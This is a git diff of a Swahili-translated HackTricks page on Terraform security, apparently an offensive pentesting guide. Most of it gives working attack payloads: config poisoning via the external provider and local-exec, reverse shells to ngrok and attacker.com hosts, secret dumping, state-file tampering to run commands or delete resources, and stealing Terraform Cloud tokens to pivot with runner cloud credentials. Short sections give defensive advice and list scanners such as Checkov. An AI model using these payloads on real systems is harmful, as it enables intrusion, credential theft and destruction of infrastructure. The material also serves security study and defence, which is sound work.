diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index da62e96b9..baea85556 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -1,68 +1,68 @@ -# Terraform Security +# Usalama wa Terraform {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Taarifa za Msingi [From the docs:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform ni **chombo cha miundombinu kama msimbo** ambacho kinakuruhusu kufafanua **rasilimali za wingu na za ndani** katika faili za usanidi zinazoweza kusomwa na binadamu ambazo unaweza kuandika, kutumia tena, na kushiriki. Kisha unaweza kutumia mtiririko wa kazi unaofanana kusimamia na kudhibiti miundombinu yako yote wakati wa mzunguko wake wa maisha. Terraform inaweza kusimamia vipengele vya chini kama vile kompyuta, uhifadhi, na rasilimali za mtandao, pamoja na vipengele vya juu kama vile entries za DNS na vipengele vya SaaS. +HashiCorp Terraform ni chombo cha miundombinu kama msimbo (infrastructure as code tool) ambacho kinakuruhusu kufafanua rasilimali za cloud and on-prem resources katika faili za configuration zinazoweza kusomwa na binadamu ambazo unaweza kuweka version, kuzitumia tena, na kushiriki. Kisha unaweza kutumia mtiririko thabiti ku-provision na kusimamia miundombinu yako yote katika mzunguko wake wa maisha. Terraform inaweza kusimamia vipengele vya chini kama compute, storage, na networking resources, pamoja na vipengele vya ngazi ya juu kama DNS entries na SaaS features. -#### Terraform inafanya kazi vipi? +#### How does Terraform work? -Terraform inaunda na kusimamia rasilimali kwenye majukwaa ya wingu na huduma nyingine kupitia interfaces zao za programu za maombi (APIs). Watoa huduma wanaruhusu Terraform kufanya kazi na karibu jukwaa au huduma yoyote yenye API inayopatikana. +Terraform huunda na kudhibiti rasilimali kwenye cloud platforms na huduma nyingine kupitia application programming interfaces (APIs) zao. Providers humruhusu Terraform kufanya kazi na karibu jukwaa au huduma yoyote yenye API inayopatikana. ![](<../images/image (177).png>) -HashiCorp na jamii ya Terraform tayari wameandika **watoa huduma zaidi ya 1700** kusimamia maelfu ya aina tofauti za rasilimali na huduma, na nambari hii inaendelea kukua. Unaweza kupata watoa huduma wote wanaopatikana hadharani kwenye [Terraform Registry](https://registry.terraform.io/), ikiwa ni pamoja na Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, na mengine mengi. +HashiCorp na jamii ya Terraform tayari wameandika **zaidi ya providers 1700** za kusimamia aina nyingi tofauti za rasilimali na huduma, na idadi hiyo inaendelea kukua. Unaweza kupata providers zote zinazopatikana hadharani kwenye [Terraform Registry](https://registry.terraform.io/), ikiwa ni pamoja na Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, na zaidi. -Mtiririko wa msingi wa Terraform unajumuisha hatua tatu: +Mtiririko mkuu wa kazi wa Terraform una hatua tatu: -- **Andika:** Unafafanua rasilimali, ambazo zinaweza kuwa katika watoa huduma na huduma nyingi za wingu. Kwa mfano, unaweza kuunda usanidi wa kupeleka programu kwenye mashine za virtual katika mtandao wa Virtual Private Cloud (VPC) pamoja na vikundi vya usalama na balancer ya mzigo. -- **Panga:** Terraform inaunda mpango wa utekelezaji unaelezea miundombinu itakayoundwa, kusasishwa, au kuharibiwa kulingana na miundombinu iliyopo na usanidi wako. -- **Tumia:** Kwa idhini, Terraform inatekeleza operesheni zilizopendekezwa kwa mpangilio sahihi, ikiheshimu utegemezi wowote wa rasilimali. Kwa mfano, ikiwa unasasisha mali za VPC na kubadilisha idadi ya mashine za virtual katika VPC hiyo, Terraform itaunda upya VPC kabla ya kupanua mashine za virtual. +- **Write:** Unafafanua rasilimali, ambazo zinaweza kuwa katika providers na huduma nyingi. Kwa mfano, unaweza kuunda configuration ku-deploy application kwenye virtual machines ndani ya Virtual Private Cloud (VPC) network yenye security groups na load balancer. +- **Plan:** Terraform huunda execution plan inayofafanua miundombinu itakayoundwa, kusasishwa, au kuharibiwa kulingana na miundombinu iliyopo na configuration yako. +- **Apply:** Baada ya idhini, Terraform hutekeleza operesheni zilizopendekezwa kwa mpangilio sahihi, ikiheshimu dependencies za rasilimali. Kwa mfano, ikiwa unasasisha mali za VPC na kubadilisha idadi ya virtual machines katika VPC hiyo, Terraform itarecreate VPC kabla ya kuongeza au kupunguza virtual machines. ![](<../images/image (215).png>) -### Terraform Lab +### Maabara ya Terraform -Sakinisha terraform kwenye kompyuta yako. +Just install terraform in your computer. -Hapa una [mwongozo](https://learn.hashicorp.com/tutorials/terraform/install-cli) na hapa una [njia bora ya kupakua terraform](https://www.terraform.io/downloads). +Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads). -## RCE katika Terraform: kuharibu faili ya usanidi +## RCE in Terraform: config file poisoning -Terraform **haina jukwaa linalofichua ukurasa wa wavuti au huduma ya mtandao** tunaweza kuhesabu, kwa hivyo, njia pekee ya kuathiri terraform ni **kuwa na uwezo wa kuongeza/kubadilisha faili za usanidi wa terraform** au **kuwa na uwezo wa kubadilisha faili ya hali ya terraform** (angalia sura hapa chini). +Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below). -Hata hivyo, terraform ni **kipengele nyeti sana** kuathiri kwa sababu itakuwa na **ufikiaji wa kipaumbele** kwa maeneo tofauti ili iweze kufanya kazi ipasavyo. +Hata hivyo, terraform ni kipengele nyeti sana kuingia kwa sababu itakuwa na privileged access kwa maeneo tofauti ili iweze kufanya kazi ipasavyo. -Njia kuu kwa mshambuliaji kuwa na uwezo wa kuathiri mfumo ambapo terraform inafanya kazi ni **kuathiri hazina inayohifadhi usanidi wa terraform**, kwa sababu kwa wakati fulani wata **fasiriwa**. +Njia kuu kwa mshambuliaji kuweza kudhoofisha mfumo ambapo terraform inaendesha ni kudhoofisha repository inayohifadhi terraform configurations, kwa sababu kwa wakati fulani zitatafsiriwa. -Kwa kweli, kuna suluhisho huko nje ambazo **zinaendesha mpango/tumia terraform kiotomatiki baada ya PR** kuundwa, kama **Atlantis**: +Kuna suluhisho ambazo hufanya terraform plan/apply kiotomatiki baada ya PR kuundwa, kama Atlantis: {{#ref}} atlantis-security.md {{#endref}} -Ikiwa una uwezo wa kuathiri faili ya terraform kuna njia tofauti unaweza kufanya RCE wakati mtu anatekeleza `terraform plan` au `terraform apply`. +Iwapo unaweza kudhoofisha faili ya terraform kuna njia tofauti unazoweza kupata RCE wakati mtu anatekeleza `terraform plan` au `terraform apply`. ### Terraform plan -Terraform plan ni **amri inayotumika zaidi** katika terraform na waendelezaji/misitu inayotumia terraform huipigia simu kila wakati, hivyo **njia rahisi ya kupata RCE** ni kuhakikisha unaharibu faili ya usanidi wa terraform ambayo itatekeleza amri zisizo za kawaida katika `terraform plan`. +Terraform plan ni amri inayotumika zaidi katika terraform na developers/solutions zinazotumia terraform huipigia kila mara, hivyo njia rahisi ya kupata RCE ni kuhakikisha unapoison faili ya config ya terraform itakayotekeleza amri za kibinafsi katika `terraform plan`. -**Kutumia mtoa huduma wa nje** +**Using an external provider** -Terraform inatoa [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) ambayo inatoa njia ya kuunganishwa kati ya Terraform na programu za nje. Unaweza kutumia chanzo cha data `external` kuendesha msimbo wowote wakati wa `plan`. +Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`. -Kuingiza katika faili ya usanidi wa terraform kitu kama ifuatavyo kutaendesha rev shell wakati wa kutekeleza `terraform plan`: +Kuingiza katika terraform config file kitu kama kifuatacho kutaendesha rev shell wakati wa kutekeleza `terraform plan`: ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` -**Kutumia mtoa huduma wa kawaida** +**Kutumia mtoa huduma maalum** -Mshambuliaji anaweza kutuma [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) kwa [Terraform Registry](https://registry.terraform.io/) na kisha kuiongeza kwenye msimbo wa Terraform katika tawi la kipengele ([mfano kutoka hapa](https://alex.kaskaso.li/post/terraform-plan-rce)): +Mshambulizi anaweza kutuma [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) kwenye [Terraform Registry](https://registry.terraform.io/) na kisha kuiongeza kwenye code ya Terraform katika feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript terraform { required_providers { @@ -75,28 +75,28 @@ version = "1.0" provider "evil" {} ``` -Mtoa huduma anapakuliwa katika `init` na atatekeleza msimbo mbaya wakati `plan` inatekelezwa. +provider inapakuliwa wakati wa `init` na itaendesha msimbo hatarishi wakati `plan` itakapotekelezwa Unaweza kupata mfano katika [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) -**Kutumia rejeleo la nje** +**Kutumia rejea ya nje** -Chaguzi zote zilizotajwa ni muhimu lakini si za siri sana (ya pili ni ya siri zaidi lakini ngumu zaidi kuliko ya kwanza). Unaweza kufanya shambulio hili hata kwa njia **ya siri zaidi**, kwa kufuata mapendekezo haya: +Chaguzi zote mbili zilizotajwa ni muhimu lakini si za siri sana (ya pili ni ya siri zaidi lakini ni ngumu zaidi kuliko ya kwanza). Unaweza kufanya shambulizi hili kwa njia inayokuwa **siri zaidi**, kwa kufuata mapendekezo haya: -- Badala ya kuongeza rev shell moja kwa moja kwenye faili la terraform, unaweza **kupakia rasilimali ya nje** ambayo ina rev shell: +- Badala ya kuongeza rev shell moja kwa moja ndani ya faili ya terraform, unaweza **kupakia rasilimali ya nje** inayobeba rev shell: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +Unaweza kupata rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **kodi ya rev shell ya terraform katika tawi** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **terraform rev shell code in a branch** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform apply itatekelezwa ili kutekeleza mabadiliko yote, unaweza pia kuitumia vibaya kupata RCE kwa kuingiza **faili ya Terraform yenye** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -Unahitaji tu kuhakikisha payload kama ifuatavyo inamalizika katika faili ya `main.tf`: +Terraform apply itatekelezwa kutekeleza mabadiliko yote, unaweza pia kuitumia vibaya kupata RCE kwa kuingiza **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +Unahitaji tu kuhakikisha kwamba payload kama zifuatazo inamalizika kwenye faili ya `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -112,27 +112,27 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Fuata **mapendekezo kutoka kwa mbinu ya awali** ili kufanya shambulio hili kwa **njia ya siri zaidi kwa kutumia marejeleo ya nje**. +Fuata **mapendekezo kutoka kwa tekniki iliyotangulia** ili kutekeleza shambulio hili kwa njia ya **kuficha zaidi kwa kutumia marejeleo ya nje**. -## Mifumo ya Siri +## Uondoaji wa Siri -Unaweza kuwa na **thamani za siri zinazotumiwa na terraform zikiwa zimeandikwa** ukikimbia `terraform apply` kwa kuongeza kwenye faili ya terraform kitu kama: +Unaweza kuwa na **maadili ya siri yanayotumika na terraform yatolewe** kwa kuendesha `terraform apply` kwa kuongeza kwenye faili ya terraform kitu kama: ```json output "dotoken" { value = nonsensitive(var.do_token) } ``` -## Abusing Terraform State Files +## Kutumia Vibaya Faili za State za Terraform -Katika hali ambapo una ruhusa ya kuandika kwenye faili za hali za terraform lakini huwezi kubadilisha msimbo wa terraform, [**utafiti huu**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) unatoa chaguzi za kuvutia za kunufaika na faili hiyo. Hata kama ungekuwa na ruhusa ya kuandika kwenye faili za usanidi, kutumia vector ya faili za hali mara nyingi ni ya ujanja zaidi, kwani huacha alama katika historia ya `git`. +Ikiwa una ruhusa ya kuandika kwenye terraform state files lakini huwezi kubadilisha msimbo wa terraform, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) inatoa chaguzi za kuvutia za kutumia faili hiyo. Hata ikiwa ungetokuwa na ruhusa ya kuandika kwenye faili za config, kutumia njia ya state files mara nyingi ni ya ujanja zaidi, kwa kuwa hauachi alama katika historia ya `git`. -### RCE katika Terraform: uchafuzi wa faili za usanidi +### RCE in Terraform: config file poisoning -Inawezekana [kuunda mtoa huduma maalum](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) na kubadilisha tu mmoja wa watoa huduma katika faili ya hali ya terraform kwa yule mbaya au kuongeza rasilimali bandia inayorejelea mtoa huduma mbaya. +Inawezekana [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) kisha kubadilisha mmoja wa providers katika terraform state file na kumwekea ile mbaya au kuongeza fake resource inayorejea provider mbaya. -Mtoa huduma [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) unajenga juu ya utafiti na kuifanya kanuni hii kuwa silaha. Unaweza kuongeza rasilimali bandia na kutaja amri ya bash isiyo na mipaka unayotaka kuendesha katika sifa ya `command`. Wakati mchakato wa `terraform` unapoanzishwa, hii itasomwa na kutekelezwa katika hatua za `terraform plan` na `terraform apply`. Katika hatua ya `terraform apply`, `terraform` itafuta rasilimali bandia kutoka kwa faili ya hali baada ya kutekeleza amri yako, ikijisafisha yenyewe. Taarifa zaidi na onyesho kamili yanaweza kupatikana katika [GitHub repository inayohifadhi msimbo wa chanzo wa mtoa huduma huu](https://github.com/offensive-actions/terraform-provider-statefile-rce). +Provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) inaendeleza utafiti huo na inatumia kanuni hii kama silaha. Unaweza kuongeza resource bandia na kuweka amri yoyote ya bash unayotaka kukimbiza katika attribute `command`. Wakati `terraform` run itakapozinduliwa, hii itasomwa na kutekelezwa katika hatua za `terraform plan` na `terraform apply`. Katika hatua ya `terraform apply`, `terraform` itafuta resource bandia kutoka kwa state file baada ya kutekeleza amri yako, ikisafisha baada yake. Maelezo zaidi na demo kamili yanapatikana kwenye [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce). -Ili kuifanya moja kwa moja, jumuisha tu yafuatayo katika nafasi yoyote ya orodha ya `resources` na kubadilisha sifa za `name` na `command`: +Ili kuitumia moja kwa moja, weka yafuatayo mahali popote ndani ya array ya `resources` na ubadilishe attributes za `name` na `command`: ```json { "mode": "managed", @@ -152,15 +152,15 @@ Ili kuifanya moja kwa moja, jumuisha tu yafuatayo katika nafasi yoyote ya orodha ] } ``` -Kisha, mara tu `terraform` itakapotekelezwa, msimbo wako utaendesha. +Kisha, mara tu `terraform` itakapotekelezwa, msimbo wako utaendeshwa. -### Kuondoa rasilimali +### Kufuta rasilimali -Kuna njia 2 za kuharibu rasilimali: +Kuna njia 2 za kufuta rasilimali: -1. **Ingiza rasilimali yenye jina la nasibu kwenye faili la hali ikielekeza kwenye rasilimali halisi ya kuharibu** +1. **Ingiza resource yenye jina la nasibu katika state file ikielekeza kwa resource halisi ya kufuta** -Kwa sababu terraform itaona kwamba rasilimali hiyo haipaswi kuwepo, itaiondoa (ikifuatilia kitambulisho halisi cha rasilimali kilichoonyeshwa). Mfano kutoka ukurasa wa awali: +Kwa sababu `terraform` itaona kwamba resource haipaswi kuwepo, itaiharibu (ikifuata resource ID halisi iliyoashiriwa). Mfano kutoka ukurasa uliopita: ```json { "mode": "managed", @@ -176,13 +176,13 @@ Kwa sababu terraform itaona kwamba rasilimali hiyo haipaswi kuwepo, itaiondoa (i ] }, ``` -2. **Badilisha rasilimali ili kufuta kwa njia ambayo haiwezekani kuisasisha (hivyo itafutwa na kuundwa upya)** +2. **Badilisha rasilimali ili ifutwe kwa njia ambayo haiwezekani kusasisha (hivyo itafutwa na kuundwa upya)** -Kwa mfano la EC2, kubadilisha aina ya mfano ni ya kutosha kufanya terraform ifute na kuunda upya. +Kwa EC2 instance, kubadilisha aina ya instance inatosha kufanya terraform ifute na kuiunda upya. -### Badilisha mtoa huduma aliyeorodheshwa kama mweusi +### Badilisha provider aliyekuwekwa kwenye blacklist -Iwapo utapata hali ambapo `hashicorp/external` imeorodheshwa kama mweusi, unaweza kuitekeleza tena mtoa huduma `external` kwa kufanya yafuatayo. Kumbuka: Tunatumia fork ya mtoa huduma wa external iliyochapishwa na https://registry.terraform.io/providers/nazarewk/external/latest. Unaweza kuchapisha fork yako mwenyewe au utekelezaji upya pia. +Ikiwa utakutana na hali ambapo `hashicorp/external` imewekwa kwenye blacklist, unaweza kutekeleza tena provider ya `external` kwa kufanya yafuatayo. Kumbuka: Tunatumia fork ya external provider iliyochapishwa na https://registry.terraform.io/providers/nazarewk/external/latest. Unaweza kuchapisha fork yako mwenyewe au utekelezaji upya pia. ```terraform terraform { required_providers { @@ -193,7 +193,7 @@ version = "3.0.0" } } ``` -Basi unaweza kutumia `external` kama kawaida. +Kisha unaweza kutumia `external` kama kawaida. ```terraform data "external" "example" { program = ["sh", "-c", "whoami"] @@ -201,19 +201,19 @@ program = ["sh", "-c", "whoami"] ``` ## Terraform Cloud speculative plan RCE and credential exfiltration -Hali hii inatumia Terraform Cloud (TFC) runners wakati wa mipango ya dhana ili kuhamasisha kwenye akaunti ya wingu ya lengo. +Mfano huu unatumia vibaya Terraform Cloud (TFC) runners wakati wa speculative plans ili kuhamia kwenye target cloud account. -- Masharti ya awali: -- Pora token ya Terraform Cloud kutoka kwa mashine ya mende. CLI inahifadhi token katika maandiko wazi kwenye `~/.terraform.d/credentials.tfrc.json`. -- Token lazima iwe na ufikiaji wa shirika/nafasi ya lengo na angalau ruhusa ya `plan`. Nafasi zinazoungwa mkono na VCS zinazuia `apply` kutoka CLI, lakini bado zinaruhusu mipango ya dhana. +- Preconditions: +- Uiba token ya Terraform Cloud kutoka kwenye kompyuta ya msanidi programu. CLI inahifadhi tokeni kwa maandishi wazi kwenye `~/.terraform.d/credentials.tfrc.json`. +- Token lazima iwe na ufikiaji kwa target organization/workspace na angalau ruhusa ya `plan`. VCS-backed workspaces zinazuia `apply` kutoka CLI, lakini bado zinaruhusu speculative plans. -- Gundua mipangilio ya nafasi na VCS kupitia TFC API: +- Gundua mipangilio ya workspace na VCS kupitia TFC API: ```bash export TF_TOKEN= curl -s -H "Authorization: Bearer $TF_TOKEN" \ https://app.terraform.io/api/v2/organizations//workspaces/ | jq ``` -- Chochea utekelezaji wa msimbo wakati wa mpango wa dhana ukitumia chanzo cha data za nje na block ya "cloud" ya Terraform Cloud ili kulenga nafasi ya kazi inayotegemea VCS: +- Sababisha utekelezaji wa msimbo wakati wa speculative plan kwa kutumia external data source na Terraform Cloud "cloud" block ili kulenga VCS-backed workspace: ```hcl terraform { cloud { @@ -226,30 +226,30 @@ data "external" "exec" { program = ["bash", "./rsync.sh"] } ``` -Mfano wa rsync.sh kupata shell ya kinyume kwenye TFC runner: +Mfano rsync.sh ili kupata reverse shell kwenye TFC runner: ```bash #!/usr/bin/env bash bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1' ``` -Fanya mpango wa dhana kutekeleza programu kwenye mchezaji wa muda mfupi: +Endesha mpango wa majaribio ili kutekeleza programu kwenye runner wa muda mfupi: ```bash terraform init terraform plan ``` -- Tambua na uhamasisha akreditif za wingu zilizowekwa kutoka kwa mchezaji. Wakati wa kukimbia, TFC inaingiza akreditif za mtoa huduma kupitia faili na vigezo vya mazingira: +- Enumerate and exfiltrate injected cloud credentials kutoka kwenye runner. Wakati wa runs, TFC injects provider credentials via files na environment variables: ```bash env | grep -i gcp || true env | grep -i aws || true ``` -Inatarajiwa faili kwenye saraka ya kazi ya mkimbiaji: +Faili zinazotarajiwa kwenye saraka ya kazi ya runner: - GCP: -- `tfc-google-application-credentials` (Mifumo ya Usimamizi wa Utambulisho wa JSON) +- `tfc-google-application-credentials` (Workload Identity Federation usanidi wa JSON) - `tfc-gcp-token` (token ya ufikiaji ya GCP ya muda mfupi) - AWS: -- `tfc-aws-shared-config` (mifumo ya utambulisho wa wavuti/OIDC) +- `tfc-aws-shared-config` (usanidi wa web identity/OIDC wa kuchukua role) - `tfc-aws-token` (token ya muda mfupi; baadhi ya mashirika yanaweza kutumia funguo za kudumu) -- Tumia akreditivu za muda mfupi nje ya muktadha ili kupita milango ya VCS: +- Tumia vitambulisho vya muda mfupi out-of-band ili kuzunguka VCS gates: GCP (gcloud): ```bash @@ -263,25 +263,52 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config export AWS_PROFILE=default aws sts get-caller-identity ``` -Kwa hizi creds, washambuliaji wanaweza kuunda/kubadilisha/kubomoa rasilimali moja kwa moja kwa kutumia CLIs za asili, wakiepuka workflows za PR zinazozuia `apply` kupitia VCS. +Kwa kredenshiali hizi, wamdukuzi wanaweza kuunda/badilisha/kuharibu rasilimali moja kwa moja kwa kutumia CLIs za asili, wakiepuka mitiririko ya kazi inayotegemea PR ambayo inazuia `apply` kupitia VCS. -- Mwongozo wa kujihami: -- Tekeleza kanuni ya chini ya kibali kwa watumiaji/teams na tokens za TFC. Kagua uanachama na epuka wamiliki wakubwa. -- Punguza ruhusa ya `plan` kwenye maeneo ya kazi yanayoungwa mkono na VCS ambayo ni nyeti inapowezekana. -- Lazimisha orodha za ruhusa za mtoa huduma/chanzo cha data kwa sera za Sentinel ili kuzuia `data "external"` au watoa huduma wasiojulikana. Tazama mwongozo wa HashiCorp kuhusu kuchuja watoa huduma. -- Prefer OIDC/WIF badala ya akreditivu za wingu za kudumu; chukulia waendesha kama nyeti. Fuata mipango ya mpango wa dhana na kutoka zisizotarajiwa. -- Gundua uhamasishaji wa vitu vya akreditivu `tfc-*` na onya juu ya matumizi ya programu ya `external` isiyo ya kawaida wakati wa mipango. +- Mwongozo wa ulinzi: +- Tumia kanuni ya least privilege kwa watumiaji/teama za TFC na tokens. Kagua uanachama na epuka wamiliki wenye mamlaka kupita kiasi. +- Zuia ruhusa ya `plan` kwenye workspaces nyeti zinazotegemea VCS pale inapowezekana. +- Lazuimishe allowlists za provider/data source kwa sera za Sentinel ili kuzuia `data "external"` au providers zisizojulikana. Angalia HashiCorp guidance kuhusu provider filtering. +- Pendelea OIDC/WIF badala ya static cloud credentials; tazama runners kama nyeti. Monitor speculative plan runs na unexpected egress. +- Gundua exfiltration ya artifact za kredenshiali `tfc-*` na toa onyo juu ya matumizi ya program ya `external` yenye shaka wakati wa plans. -## Zana za Ukaguzi wa Otomatiki + +## Kuvuruga Terraform Cloud + +### Kutumia token + +Kama **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI inahifadhi tokens kwa plaintext katika **`~/.terraform.d/credentials.tfrc.json`**. Kuiba token hii kunaruhusu mdukuzi kujifanya mtumiaji ndani ya wigo wa token. + +Kwa kutumia tokeni hii inawezekana kupata org/workspace na: +```bash +GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod +Authorization: Bearer +``` +Kisha inawezekana kuendesha msimbo wowote kwa kutumia **`terraform plan`** kama ilivyoelezwa katika sura iliyotangulia. + +### Kutoroka kwa cloud + +Kisha, kama runner iko katika mazingira ya cloud, inawezekana kupata token ya principal iliyounganishwa na runner na kuitumia nje ya mzunguko. + +- **GCP files (zipo katika saraka ya kazi ya run ya sasa)** +- `tfc-google-application-credentials` — JSON ya usanidi kwa Workload Identity Federation (WIF) inayomwambia Google jinsi ya kubadilishana utambulisho wa nje. +- `tfc-gcp-token` — GCP access token ya muda mfupi (≈1 hour) inayotajwa hapo juu + +- **AWS files** +- `tfc-aws-shared-config` — JSON kwa web identity federation/OIDC role assumption (inayopendekezwa kuliko static keys). +- `tfc-aws-token` — token ya muda mfupi, au labda static IAM keys ikiwa zimepangwa vibaya. + + +## Zana za Ukaguzi Otomatiki ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk inatoa suluhisho kamili la skanning la Infrastructure as Code (IaC) linalogundua udhaifu na makosa katika Terraform, CloudFormation, Kubernetes, na mifumo mingine ya IaC. +Snyk inatoa suluhisho kamili la ukaguzi wa Infrastructure as Code (IaC) linalotambua udhaifu na mipangilio isiyo sahihi katika Terraform, CloudFormation, Kubernetes, na fomati nyingine za IaC. - **Vipengele:** -- Skanning ya wakati halisi kwa udhaifu wa usalama na masuala ya kufuata. -- Uunganisho na mifumo ya kudhibiti toleo (GitHub, GitLab, Bitbucket). -- Maombi ya kurekebisha otomatiki. +- Ukaguzi wa wakati halisi kwa ajili ya udhaifu wa usalama na masuala ya ufuataji. +- Uunganishaji na version control systems (GitHub, GitLab, Bitbucket). +- Automated fix pull requests. - Ushauri wa kina wa kurekebisha. - **Jisajili:** Unda akaunti kwenye [Snyk](https://snyk.io/). ```bash @@ -292,28 +319,28 @@ snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** ni chombo cha uchambuzi wa msimbo wa statiki kwa miundombinu kama msimbo (IaC) na pia chombo cha uchambuzi wa muundo wa programu (SCA) kwa picha na pakiti za chanzo wazi. +**Checkov** ni chombo cha uchambuzi wa nambari cha static kwa ajili ya infrastructure as code (IaC) na pia chombo cha software composition analysis (SCA) kwa images na vifurushi vya chanzo wazi. -Inachanganua miundombinu ya wingu iliyotolewa kwa kutumia [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), au [OpenTofu](https://opentofu.org/) na kugundua makosa ya usalama na kufuata kwa kutumia uchambuzi wa msingi wa grafu. +Inachunguza miundombinu ya cloud iliyotengenezwa kwa kutumia [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), au [OpenTofu](https://opentofu.org/) na hutambua mipangilio mibaya ya usalama na uzingatiaji kwa kutumia uchunguzi unaotegemea grafu. -Inatekeleza [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) ambayo ni uchambuzi wa pakiti za chanzo wazi na picha kwa ajili ya Uthibitisho wa Hatari na Ufunuo wa Pamoja (CVEs). +Hufanya [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) ambayo ni uchunguzi wa vifurushi vya chanzo wazi na images kwa Common Vulnerabilities and Exposures (CVEs). ```bash pip install checkov checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ni mfumo wa majaribio mwepesi, unaolenga usalama na 